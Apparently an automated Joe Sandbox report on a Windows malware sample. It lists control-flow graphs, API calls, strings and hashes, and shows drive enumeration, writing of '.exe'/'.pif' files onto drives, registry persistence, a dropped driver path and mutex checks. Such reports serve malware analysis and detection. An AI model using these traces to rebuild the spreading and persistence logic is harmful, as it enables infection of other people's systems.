                                                            control_flow_graph 468 29ddd99-29ddeeb call 29e3600 call 29d13e8 Sleep call 29d5be5 CreateFileA 475 29ddeed-29ddf14 WriteFile FindCloseChangeNotification 468->475 476 29ddf1a-29ddf34 call 29d9652 468->476 475->476 479 29ddf36-29ddf41 Sleep 476->479 480 29ddf43-29ddf4d 476->480 479->476 481 29de4d3-29de504 RtlExitUserThread 480->481 482 29ddf53-29ddf5d 480->482 482->481 483 29ddf63-29ddf6f 482->483 483->481 485 29ddf75-29ddf82 483->485 485->481 486 29ddf88-29ddf8f 485->486 486->481 487 29ddf95-29ddfdd call 29ddc56 Sleep GetLogicalDrives 486->487 491 29de4c3-29de4ce Sleep 487->491 492 29ddfe3-29de001 487->492 491->486 493 29de4be 492->493 494 29de007-29de045 GetDriveTypeA 492->494 493->491 494->493 495 29de04b-29de087 lstrcat CreateFileA 494->495 496 29de08d-29de0c5 GetFileTime FileTimeToSystemTime 495->496 497 29de2b0-29de2ca GetFileAttributesA 495->497 500 29de0cb-29de0e7 496->500 501 29de2a3-29de2aa CloseHandle 496->501 498 29de2cc-29de2f4 SetFileAttributesA DeleteFileA call 29d5758 497->498 499 29de2f7-29de320 CreateFileA 497->499 498->499 499->493 504 29de326-29de3ac GetSystemTime SystemTimeToFileTime call 29d5618 call 29d13e8 499->504 500->501 503 29de0ed-29de142 call 29d1000 ReadFile CharLowerA lstrlen 500->503 501->497 510 29de29e 503->510 511 29de148-29de165 call 29d42c7 503->511 516 29de3ae-29de3c0 lstrcat 504->516 517 29de3c2-29de3ce lstrcat 504->517 510->501 511->510 519 29de16b-29de17e 511->519 518 29de3d4-29de47c call 29dd928 lstrlen WriteFile SetFileTime FindCloseChangeNotification SetFileAttributesA CreateFileA 516->518 517->518 518->493 526 29de47e-29de4b8 WriteFile CloseHandle SetFileAttributesA 518->526 519->510 523 29de184-29de18d 519->523 524 29de299 523->524 525 29de193-29de1a5 523->525 524->510 527 29de1a7-29de1ad 525->527 528 29de1b0-29de1b3 525->528 526->493 527->528 529 29de1b9-29de1c5 528->529 530 29de1c7-29de1d3 529->530 531 29de1f3-29de21d lstrcpy GetFileAttributesA 529->531 530->531 532 29de1d5-29de1e0 530->532 533 29de21f-29de255 CloseHandle CreateFileA 531->533 534 29de297 531->534 532->531 535 29de1e2-29de1f1 532->535 533->534 536 29de257-29de291 WriteFile CloseHandle SetFileAttributesA 533->536 534->510 535->529 536->534
                                                            APIs
                                                              • Part of subcall function 029D13E8: InterlockedExchange.KERNEL32(029E40B8,?), ref: 029D1406
                                                            • Sleep.KERNEL32 ref: 029DDEAD
                                                              • Part of subcall function 029D5BE5: GetTempPathA.KERNEL32(00000080,?,?), ref: 029D5C17
                                                              • Part of subcall function 029D5BE5: lstrlen.KERNEL32(?), ref: 029D5C21
                                                              • Part of subcall function 029D5BE5: lstrcat.KERNEL32(?,02A555F4), ref: 029D5C3D
                                                              • Part of subcall function 029D5BE5: lstrcpy.KERNEL32(00000000,00000000), ref: 029D5C5A
                                                              • Part of subcall function 029D5BE5: lstrlen.KERNEL32(?,02A541D4,00000000), ref: 029D5C88
                                                              • Part of subcall function 029D5BE5: wsprintfA.USER32 ref: 029D5C94
                                                            • CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000004,00000020,00000000), ref: 029DDED8
                                                            • WriteFile.KERNEL32(000000FF,02A52300,000002E5,?,00000000), ref: 029DDF07
                                                            • FindCloseChangeNotification.KERNEL32(000000FF), ref: 029DDF14
                                                            • Sleep.KERNEL32(00004E20), ref: 029DDF3B
                                                            • Sleep.KERNEL32(00004E20), ref: 029DDF9F
                                                            • GetLogicalDrives.KERNEL32 ref: 029DDFAF
                                                            • GetDriveTypeA.KERNEL32(?), ref: 029DE032
                                                            • lstrcat.KERNEL32(?,02A54094), ref: 029DE058
                                                            • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000020,00000000), ref: 029DE074
                                                            • GetFileTime.KERNEL32(000000FF,?,?,?), ref: 029DE0A9
                                                            • FileTimeToSystemTime.KERNEL32(?,?), ref: 029DE0BD
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: File$SleepTime$Createlstrcatlstrlen$ChangeCloseDriveDrivesExchangeFindInterlockedLogicalNotificationPathSystemTempTypeWritelstrcpywsprintf
                                                            • String ID: .exe$.pif$:$\
                                                            • API String ID: 4088597193-4138429844
                                                            • Opcode ID: 029030204728d03271e097f7c136b9fe37d56b39019cc963d7404f476ced7e4e
                                                            • Instruction ID: a3fc140a0e64913cf10993dba4a3f68fe5bd3cc8e8855c7d90aa236b377ba1f9
                                                            • Opcode Fuzzy Hash: 029030204728d03271e097f7c136b9fe37d56b39019cc963d7404f476ced7e4e
                                                            • Instruction Fuzzy Hash: 94127D75D443689BDB24DB64CC88BEEB779BF48700F0089D8E249E61C0DB749AA9CF51
                                                            Function 029D1B0E Relevance: 44.2, APIs: 23, Strings: 2, Instructions: 443stringregistryCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 620 29d1b0e-29d1bbc call 29e3600 623 29d1bbe 620->623 624 29d1bc3-29d1c18 lstrcpy GetUserNameA call 29e2ceb lstrlen 620->624 625 29d22a3-29d22b3 623->625 628 29d1c2d-29d1c37 624->628 629 29d1c1a-29d1c27 lstrcat 624->629 630 29d1c48-29d1c5b lstrlen 628->630 629->628 631 29d1c5d-29d1ca1 lstrlen 630->631 632 29d1ca3-29d1cfd lstrlen wsprintfA RegOpenKeyExA 630->632 631->630 634 29d1f5d-29d1f7f 632->634 635 29d1d03-29d1d1e RegCreateKeyA 632->635 640 29d20ea-29d20f1 634->640 641 29d1f85-29d1faf wsprintfA 634->641 636 29d1d2c-29d1d50 GlobalAlloc call 29d7c71 635->636 637 29d1d20-29d1d27 635->637 650 29d1d66-29d1d6d 636->650 651 29d1d52-29d1d5e call 29d2399 636->651 637->625 642 29d2274-29d227b 640->642 643 29d20f7-29d2252 call 29e2ceb * 5 call 29d2399 640->643 645 29d1fec-29d2025 RegQueryValueExA 641->645 646 29d1fb1-29d1fe3 RegQueryValueExA 641->646 648 29d227d-29d2284 RegCloseKey 642->648 649 29d228a-29d2291 642->649 709 29d226f 643->709 710 29d2254-29d226d call 29e2ceb 643->710 654 29d202c-29d204e 645->654 655 29d2027 645->655 652 29d1fea 646->652 653 29d1fe5 646->653 648->649 649->625 660 29d1f3b-29d1f42 650->660 661 29d1d73-29d1d95 650->661 672 29d1d63 651->672 652->654 656 29d20e5 654->656 657 29d2054-29d205a 654->657 655->654 656->640 662 29d207d-29d2089 657->662 663 29d206f-29d207b 657->663 664 29d20a9-29d20c6 call 29d169b 657->664 665 29d20c8-29d20e2 call 29d169b 657->665 666 29d208b-29d2099 657->666 667 29d209b-29d20a7 657->667 668 29d2061-29d206d 657->668 670 29d1f44-29d1f4b GlobalFree 660->670 671 29d1f51-29d1f58 660->671 675 29d1ecf-29d1f38 RegCloseKey call 29e2ceb * 2 661->675 676 29d1d9b-29d1de0 wsprintfA 661->676 662->656 663->656 664->656 665->656 666->656 667->656 668->656 670->671 671->625 672->650 675->660 683 29d1de6-29d1dec 676->683 684 29d1e71-29d1e78 676->684 683->662 683->663 683->664 683->665 683->666 683->667 683->668 687 29d1dff-29d1e09 683->687 688 29d1e17-29d1e21 683->688 689 29d1e51-29d1e6b call 29d16fd lstrcpy 683->689 690 29d1df3-29d1dfd 683->690 691 29d1e2f-29d1e4f call 29d16fd lstrcpy 683->691 692 29d1e0b-29d1e15 683->692 693 29d1e23-29d1e2d 683->693 694 29d1e9d-29d1ec4 lstrlen RegSetValueExA 684->694 695 29d1e7a-29d1e9b RegSetValueExA 684->695 687->684 688->684 689->684 690->684 691->684 692->684 693->684 700 29d1eca 694->700 695->700 709->642 710->642
                                                            APIs
                                                            • lstrcpy.KERNEL32(00000000,Software\), ref: 029D1BD6
                                                            • GetUserNameA.ADVAPI32(00000000,?), ref: 029D1BEA
                                                            • lstrlen.KERNEL32(?), ref: 029D1C0F
                                                            • lstrcat.KERNEL32(?,02A53CBC), ref: 029D1C27
                                                            • lstrlen.KERNEL32(?), ref: 029D1C4F
                                                            • lstrlen.KERNEL32(?), ref: 029D1C94
                                                            • lstrlen.KERNEL32(?,\%d,?), ref: 029D1CC4
                                                            • wsprintfA.USER32 ref: 029D1CD2
                                                            • RegOpenKeyExA.KERNEL32(80000001,?,00000000,000F003F,?), ref: 029D1CF5
                                                            • RegCreateKeyA.ADVAPI32(80000001,?,?), ref: 029D1D16
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: lstrlen$CreateNameOpenUserlstrcatlstrcpywsprintf
                                                            • String ID: Software\$\%d
                                                            • API String ID: 939812716-407207646
                                                            • Opcode ID: 35ed1c6eb98e0f12302ec7effc7fe7851b784572dbf55bdfc16e189cfbb53f8e
                                                            • Instruction ID: cc4edf3d6924e0cd71b877c88d6401e1642026951bfcdd60435b2a2a04b1019b
                                                            • Opcode Fuzzy Hash: 35ed1c6eb98e0f12302ec7effc7fe7851b784572dbf55bdfc16e189cfbb53f8e
                                                            • Instruction Fuzzy Hash: 59124F75D44628DFDB24CF54CC84BEAB7B9BF88306F0486D9E50BAA281D7709A84CF51
                                                            Function 048C0005 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 162librarysleepfileCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 713 48c0005-48c0016 714 48c0018-48c004e 713->714 715 48c002b-48c003f 713->715 718 48c005e-48c0067 714->718 719 48c0050-48c005c 714->719 717 48c00c6-48c0134 LoadLibraryExA call 48c0260 call 48c0265 SetErrorMode CreateFileMappingA * 2 715->717 730 48c0136-48c014a MapViewOfFile 717->730 731 48c0170-48c0190 CreateThread 717->731 721 48c0068-48c006d 718->721 719->721 724 48c006f 721->724 725 48c0074-48c007f 721->725 726 48c01ba-48c01c1 724->726 727 48c0086-48c00c0 call 48c0286 call 48c0260 call 48c0286 call 48c0260 725->727 728 48c0081 725->728 733 48c01c7-48c01dd GetModuleFileNameA 726->733 734 48c0253-48c025b 726->734 727->717 728->726 730->731 735 48c014c-48c0159 730->735 737 48c0196-48c019d 731->737 738 48c01df-48c020a LoadLibraryExA GetProcAddress 733->738 739 48c0240-48c0245 Sleep 733->739 734->726 735->731 741 48c015b-48c016c 735->741 743 48c019f-48c01a7 Sleep 737->743 744 48c01a9-48c01b8 737->744 738->739 746 48c020c-48c023e CreateMutexA GetLastError 738->746 740 48c024b-48c024d ExitProcess 739->740 741->731 747 48c016e 741->747 743->737 744->726 744->737 746->739 746->740 747->731
                                                            APIs
                                                            • LoadLibraryExA.KERNEL32(KERNEL32.DLL,00000000,00000000), ref: 048C00D1
                                                            • SetErrorMode.KERNEL32(00008002), ref: 048C00F8
                                                            • CreateFileMappingA.KERNEL32(-00000001,00000000,00000004,00000000,00008000,hh8geqpHJTkdns0), ref: 048C0112
                                                            • CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00015400,purity_control_90833), ref: 048C012C
                                                            • MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00015400), ref: 048C0142
                                                            • CreateThread.KERNEL32(00000000,00000000,00401B4A,9F1AE852,00000000,048C0694), ref: 048C0190
                                                            • Sleep.KERNEL32(000000FF), ref: 048C01A1
                                                            • GetModuleFileNameA.KERNEL32(00000000,048C1778,000001FE), ref: 048C01D5
                                                            • LoadLibraryExA.KERNEL32(SHELL32.DLL,00000000,00000000), ref: 048C01F4
                                                            • GetProcAddress.KERNEL32(00000000,ShellExecuteA), ref: 048C0202
                                                            • CreateMutexA.KERNEL32(00000000,00000000,Ap1mutx7), ref: 048C022F
                                                            • GetLastError.KERNEL32(00000000), ref: 048C0236
                                                            • Sleep.KERNEL32(000927C0), ref: 048C0245
                                                            • ExitProcess.KERNEL32(00000000), ref: 048C024D
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3847465779.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_48c0000_a4#Uff09.jbxd
                                                            Similarity
                                                            • API ID: CreateFile$ErrorLibraryLoadMappingSleep$AddressExitLastModeModuleMutexNameProcProcessThreadView
                                                            • String ID: Ap1mutx7$GetProcAddress$KERNEL32.DLL$LoadLibraryExA$SHELL32.DLL$ShellExecuteA$hh8geqpHJTkdns0$open$purity_control_90833
                                                            • API String ID: 3272623439-1416619028
                                                            • Opcode ID: 3e96637ac4904a59b2bac2602ec73606d03fa339f672a09014e6acc301918dab
                                                            • Instruction ID: 0780d474c0cf5de1b0b0e3f8355e0c1c0c192022176621d83cabc93ed983571c
                                                            • Opcode Fuzzy Hash: 3e96637ac4904a59b2bac2602ec73606d03fa339f672a09014e6acc301918dab
                                                            • Instruction Fuzzy Hash: 67614F71640288EFEF11DFA0CD49FEA3768EB05745F440A19EE09FE1E0D6B1A6448B5A
                                                            Function 029DBE89 Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 227filememorystringCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            APIs
                                                            • CreateFileA.KERNEL32(00000000,C0000000,00000003,00000000,00000003,00000000,00000000,?), ref: 029DBF11
                                                            • GlobalAlloc.KERNEL32(00000040,-00001000), ref: 029DBF39
                                                            • ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 029DBF5A
                                                            • lstrlen.KERNEL32(02A53F70,?), ref: 029DBF74
                                                            • SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000000), ref: 029DC022
                                                            • WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 029DC040
                                                            • SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000000), ref: 029DC055
                                                            • SetEndOfFile.KERNEL32(000000FF), ref: 029DC062
                                                            • CloseHandle.KERNEL32(000000FF), ref: 029DC06F
                                                            • GlobalFree.KERNEL32(00000000), ref: 029DC096
                                                            • DeleteFileA.KERNEL32(00000000), ref: 029DC0A0
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: File$GlobalPointer$AllocCloseCreateDeleteFreeHandleReadWritelstrlen
                                                            • String ID: D
                                                            • API String ID: 3500512911-2746444292
                                                            • Opcode ID: a965d53e6b97736c878497ccdb0a60c5928ebe2496d9ded2b2a9e9083ed82d69
                                                            • Instruction ID: ee25a6c25a4828a7b3c1c6266005383871cf00caf7268c3dac9bb27f013da94e
                                                            • Opcode Fuzzy Hash: a965d53e6b97736c878497ccdb0a60c5928ebe2496d9ded2b2a9e9083ed82d69
                                                            • Instruction Fuzzy Hash: 56A180B5940328EFDB20DF94CC48BEEB779BB48305F108989E609A7280DB759A85CF55
                                                            Function 029DF760 Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 303stringregistryCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 944 29df760-29df7ef 945 29df7fd 944->945 946 29df7f1-29df7fb 944->946 948 29dfcdb-29dfce0 945->948 946->945 947 29df802-29df850 lstrcpy GetUserNameA call 29e2ceb lstrlen 946->947 951 29df866-29df870 947->951 952 29df852-29df860 lstrcat 947->952 953 29df881-29df894 lstrlen 951->953 952->951 954 29df8dc-29df8fe RegOpenKeyExA 953->954 955 29df896-29df8da lstrlen 953->955 957 29df92d-29df931 954->957 958 29df900-29df904 954->958 955->953 961 29dfb29-29dfb60 957->961 962 29df937-29df941 957->962 959 29df90b-29df926 RegCreateKeyA 958->959 960 29df906 958->960 959->957 964 29df928 959->964 960->948 966 29dfcc5-29dfccc 961->966 967 29dfb66-29dfb70 961->967 965 29df94b-29df977 RegEnumValueA 962->965 964->948 968 29df9ad-29df9db 965->968 969 29df979-29df982 965->969 966->948 974 29dfcce-29dfcd5 RegCloseKey 966->974 967->966 970 29dfb76-29dfba1 967->970 976 29dfb24 968->976 977 29df9e1-29df9f3 968->977 971 29df984 969->971 972 29df986-29df9ab RegDeleteValueA 969->972 978 29dfba7-29dfc0e wsprintfA RegQueryValueExA 970->978 979 29dfcb3-29dfcc0 970->979 971->968 972->965 974->948 976->966 980 29df9f5-29dfa03 977->980 981 29dfa11 977->981 983 29dfc1f-29dfc5c 978->983 984 29dfc10-29dfc1a 978->984 979->966 980->981 982 29dfa05-29dfa0f 980->982 981->976 982->981 985 29dfa16-29dfa20 982->985 986 29dfcae 983->986 987 29dfc5e-29dfc64 983->987 984->979 989 29dfa31-29dfa38 985->989 986->979 990 29dfc9f-29dfcab 987->990 991 29dfc8e-29dfc9d 987->991 992 29dfc6b-29dfc79 987->992 993 29dfc7b-29dfc8c 987->993 994 29dfb1f 989->994 995 29dfa3e-29dfa8b wsprintfA 989->995 990->986 991->986 992->986 993->986 994->976 996 29dfa8d-29dfa93 995->996 997 29dfade-29dfb1a RegSetValueExA 995->997 996->990 996->991 996->992 996->993 998 29dfacf-29dfad8 996->998 999 29dfabe-29dfacd 996->999 1000 29dfa9a-29dfaa8 996->1000 1001 29dfaaa-29dfabc 996->1001 1002 29dfa22-29dfa2b 997->1002 998->997 999->997 1000->997 1001->997 1002->989
                                                            APIs
                                                            • lstrcpy.KERNEL32(00000000,Software\), ref: 029DF80E
                                                            • GetUserNameA.ADVAPI32(00000000,00000104), ref: 029DF822
                                                            • lstrlen.KERNEL32(00000000), ref: 029DF847
                                                            • lstrcat.KERNEL32(00000000,02A53CBC), ref: 029DF860
                                                            • lstrlen.KERNEL32(00000000), ref: 029DF888
                                                            • lstrlen.KERNEL32(00000000), ref: 029DF8CD
                                                            • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,000F003F,00000000), ref: 029DF8F6
                                                            • RegCreateKeyA.ADVAPI32(80000001,00000000,00000000), ref: 029DF91E
                                                            • RegEnumValueA.KERNEL32(00000000,00000000,00000000,00000104,00000000,00000000,00000000,00000000), ref: 029DF96F
                                                            • RegCloseKey.KERNEL32(00000000), ref: 029DFCD5
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: lstrlen$CloseCreateEnumNameOpenUserValuelstrcatlstrcpy
                                                            • String ID: %c%d_%d$Software\
                                                            • API String ID: 1562553360-4194366771
                                                            • Opcode ID: 8777385a69accc869a78d6f02b992443eafa703a2c60fbd719ff2dbe30e9f6de
                                                            • Instruction ID: 5ff0b94617658faaf65feb8df1e416db198ec810225ed3436a907e0a5b672820
                                                            • Opcode Fuzzy Hash: 8777385a69accc869a78d6f02b992443eafa703a2c60fbd719ff2dbe30e9f6de
                                                            • Instruction Fuzzy Hash: EAE12570D40228EBDB24CF64DC89BE9B7B5BB58304F108AD9D50AA7650DB749BC4DF90
                                                            Function 029D53B2 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166libraryloadersleepCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1003 29d53b2-29d53bf 1004 29d53ce-29d53d3 Sleep 1003->1004 1005 29d53c1-29d53cc Sleep 1003->1005 1006 29d53d9-29d5406 call 29d43ec * 2 1004->1006 1005->1006 1010 29d540b-29d5422 LoadLibraryA 1006->1010 1011 29d5428-29d5444 GetProcAddress 1010->1011 1012 29d55fa-29d55fc RtlExitUserThread 1010->1012 1013 29d544b-29d5468 GetProcAddress 1011->1013 1014 29d5446 1011->1014 1015 29d5602 1012->1015 1016 29d546f-29d548c GetProcAddress 1013->1016 1017 29d546a 1013->1017 1015->1012 1018 29d548e 1016->1018 1019 29d5493-29d54af GetProcAddress 1016->1019 1020 29d54b6-29d54d3 GetProcAddress 1019->1020 1021 29d54b1 1019->1021 1022 29d54da-29d54f7 GetProcAddress 1020->1022 1023 29d54d5 1020->1023 1024 29d54fe-29d551a GetProcAddress 1022->1024 1025 29d54f9 1022->1025 1026 29d551c 1024->1026 1027 29d5521-29d553e GetProcAddress 1024->1027 1028 29d5545-29d5582 call 29d47bf CreateThread call 29d10e5 LoadLibraryA 1027->1028 1029 29d5540 1027->1029 1028->1012 1034 29d5584-29d55a0 GetProcAddress 1028->1034 1029->1015 1034->1012 1035 29d55a2-29d55a9 call 29d4649 1034->1035 1038 29d55ab-29d55c1 call 29d4595 call 29d470f 1035->1038 1039 29d55c4-29d55cb call 29d4649 1035->1039 1038->1039 1039->1012 1044 29d55cd-29d55d4 call 29d4bd0 1039->1044 1044->1012 1049 29d55d6-29d55f7 CreateThread call 29d10e5 1044->1049 1049->1012
                                                            APIs
                                                            • Sleep.KERNEL32(0001D4C0), ref: 029D53C6
                                                            • Sleep.KERNEL32(00001000), ref: 029D53D3
                                                            • LoadLibraryA.KERNEL32(02A54114), ref: 029D5415
                                                            • GetProcAddress.KERNEL32(00000000,02A54124), ref: 029D5432
                                                            • GetProcAddress.KERNEL32(00000000,02A54134), ref: 029D5456
                                                            • GetProcAddress.KERNEL32(00000000,02A54144), ref: 029D547A
                                                            • RtlExitUserThread.NTDLL(00000000), ref: 029D55FC
                                                            Strings
                                                            • C:\Windows\system32\drivers\jrkpjn.sys, xrefs: 029D55B0
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: AddressProc$Sleep$ExitLibraryLoadThreadUser
                                                            • String ID: C:\Windows\system32\drivers\jrkpjn.sys
                                                            • API String ID: 3711489173-2277722238
                                                            • Opcode ID: 09f5612f94fa7053e5c75ff12affe1d4fbf2f2ba57d6ac3724d881b7780473ed
                                                            • Instruction ID: 035be37c55c06e523ddc4875e0dc015d6659b64355177ec0bc5682a935ffd766
                                                            • Opcode Fuzzy Hash: 09f5612f94fa7053e5c75ff12affe1d4fbf2f2ba57d6ac3724d881b7780473ed
                                                            • Instruction Fuzzy Hash: B451B1B5D84310EFDB00DFA4E949B7A33B9BB48302F519D28F20A9B180DB749565EF11
                                                            Function 029DE507 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 123sleeplibrarythreadCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            APIs
                                                            • Sleep.KERNEL32(00000400), ref: 029DE550
                                                            • lstrcpy.KERNEL32(00000000,02A54068), ref: 029DE565
                                                            • LoadLibraryA.KERNEL32(00000000), ref: 029DE57C
                                                            • GetProcAddress.KERNEL32(00000000,02A54054), ref: 029DE59E
                                                            • FreeLibrary.KERNEL32(00000000), ref: 029DE5B9
                                                            • lstrcat.KERNEL32(00000000,02A53C08), ref: 029DE5CC
                                                            • LoadLibraryA.KERNEL32(00000000), ref: 029DE5D9
                                                            • GetProcAddress.KERNEL32(00000000,02A54054), ref: 029DE5FB
                                                            • CreateThread.KERNEL32(00000000,00000000,Function_0000DD99,00000000,00000000,00000000), ref: 029DE61E
                                                            • CreateThread.KERNEL32(00000000,00000000,Function_0000CC39,00000000,00000000,?), ref: 029DE645
                                                            • Sleep.KERNEL32(00000400), ref: 029DE659
                                                            • Sleep.KERNEL32(00000400), ref: 029DE67F
                                                            • CreateThread.KERNEL32(00000000,00000000,Function_0000CA87,0000005A,00000000,?), ref: 029DE6AB
                                                            • Sleep.KERNEL32(00000400), ref: 029DE6C1
                                                            • Sleep.KERNEL32(000DBBA0), ref: 029DE6E8
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: Sleep$CreateLibraryThread$AddressLoadProc$Freelstrcatlstrcpy
                                                            • String ID: Z
                                                            • API String ID: 4104366077-1505515367
                                                            • Opcode ID: 46ff6e27ecdb0b78f505d44f31fcf01a7eaeb818a4a52bff49a734d4e4176d99
                                                            • Instruction ID: 08207be7df12d86aeab8620b03f3a6e7d4d5d8da7bdbf67a2f1b3b994b20eb2f
                                                            • Opcode Fuzzy Hash: 46ff6e27ecdb0b78f505d44f31fcf01a7eaeb818a4a52bff49a734d4e4176d99
                                                            • Instruction Fuzzy Hash: 9441A575D80364EBE7119B60DD09BEA7779BB0C702F008894F74AAA1C0DBF09A95CF15
                                                            Function 029DED35 Relevance: 21.2, APIs: 14, Instructions: 197threadsleepnetworkCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            APIs
                                                            • SetErrorMode.KERNEL32(00008002), ref: 029DED52
                                                            • WSAStartup.WS2_32(00000002,?), ref: 029DED61
                                                            • RtlInitializeCriticalSection.NTDLL(029E4030), ref: 029DED6C
                                                            • RtlInitializeCriticalSection.NTDLL(029E4018), ref: 029DED77
                                                            • RtlInitializeCriticalSection.NTDLL(029E4050), ref: 029DED82
                                                              • Part of subcall function 029DE6F0: LoadLibraryA.KERNEL32(02A53AAC), ref: 029DE766
                                                              • Part of subcall function 029DE6F0: GetProcAddress.KERNEL32(00000000,02A540E0), ref: 029DE789
